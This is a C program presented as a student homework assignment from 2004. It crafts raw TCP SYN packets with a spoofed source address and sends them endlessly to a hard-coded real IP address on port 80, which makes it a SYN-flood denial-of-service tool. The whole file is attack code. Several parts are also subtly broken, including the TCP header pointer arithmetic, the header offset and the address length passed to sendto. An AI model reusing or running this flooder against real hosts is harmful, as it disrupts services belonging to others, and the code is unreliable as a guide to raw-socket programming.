/* 
 Atanas Dimitrov
 Homework #4
 CS6900
 Due: 09/17/04
 */

//This homework was compiled on Mac OS X (Darwin 7.5.0)
//May not compile on Linux...
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <string.h>
#include <netdb.h>
#ifndef __USE_BSD
#define __USE_BSD
#endif
#include <netinet/ip.h>
#ifndef __FAVOR_BSD
#define __FAVOR_BSD
#endif
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <unistd.h>
#ifndef KERNEL
#define KERNEL
#endif
#ifndef __APPLE_API_PRIVATE
#define __APPLE_API_PRIVATE
#endif
#include <netinet/in.h>
#include <net/if.h>

#define PORT 80

int main()
{
  int i;
  int raw_sock = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);

  char datagram[4096];
  char cksum_tcpheader[1024];

  struct ip *iph = (struct ip *) &datagram;
  struct tcphdr *tcph = (struct tcphdr *) &datagram+1;
  struct sockaddr_in sin;

  sin.sin_family = AF_INET;
  sin.sin_port = htons (PORT);
  sin.sin_addr.s_addr = inet_addr ("128.192.101.216");

  memset(datagram, 0x0, sizeof(datagram));
  memset(cksum_tcpheader, 0, sizeof(cksum_tcpheader));

  //IP header
  iph->ip_hl = 5;
  iph->ip_v = IPVERSION;
  iph->ip_tos = IPTOS_PREC_ROUTINE;
  iph->ip_len = htons(sizeof (struct ip) + sizeof (struct tcphdr));
  iph->ip_id = htonl(11111);
  iph->ip_off = 0x0;
  iph->ip_ttl = MAXTTL;
  iph->ip_p = 6;
  iph->ip_sum = 0x0;
  iph->ip_src.s_addr = inet_addr ("239.0.0.1");
  iph->ip_dst.s_addr = sin.sin_addr.s_addr;

  //TCP Header
  tcph->th_sport = htons(1234);
  tcph->th_dport = htons(PORT);
  tcph->th_seq = random();
  tcph->th_ack = 0x0;
  tcph->th_x2 = 0x0;
  tcph->th_off = sizeof(struct tcphdr) + 1;
  tcph->th_flags = TH_SYN;
  tcph->th_win = htonl(TCP_MAXWIN);
  tcph->th_sum = 0x0;
  tcph->th_urp = 0x0;

  //in_cksum() compiled in /usr/lib/libBSDPClient.A.dylib on Mac OS X
  iph->ip_sum = in_cksum ((unsigned short *) iph, sizeof(struct ip));

  //special treatment for tcp header checksum
  memcpy(&cksum_tcpheader, &(iph->ip_src.s_addr), 4); 
  memcpy(&cksum_tcpheader[4], &(iph->ip_dst.s_addr), 4); 
  cksum_tcpheader[8]=0; 
  cksum_tcpheader[9]=(u_int16_t)iph->ip_p; 
  cksum_tcpheader[10]=(u_int16_t) (sizeof(struct tcphdr) & 0xff00) >> 8; 
  cksum_tcpheader[11]=(u_int16_t) (sizeof(struct tcphdr) & 0x00ff); 
  memcpy(&cksum_tcpheader[12], tcph, sizeof(struct tcphdr));

  //in_cksum() compiled in /usr/lib/libBSDPClient.A.dylib on Mac OS X 
  tcph->th_sum = in_cksum((unsigned short *) (cksum_tcpheader), sizeof(struct tcphdr)+12);

  //set socket option to include the header
  int one = 1;
  const int *val = &one;
  setsockopt (raw_sock, IPPROTO_IP, IP_HDRINCL, val, sizeof (one));

while(1)
  sendto(raw_sock, datagram, iph->ip_len, SO_KEEPALIVE, (struct sockaddr *) &sin, sizeof (const int *));

  exit(0);
}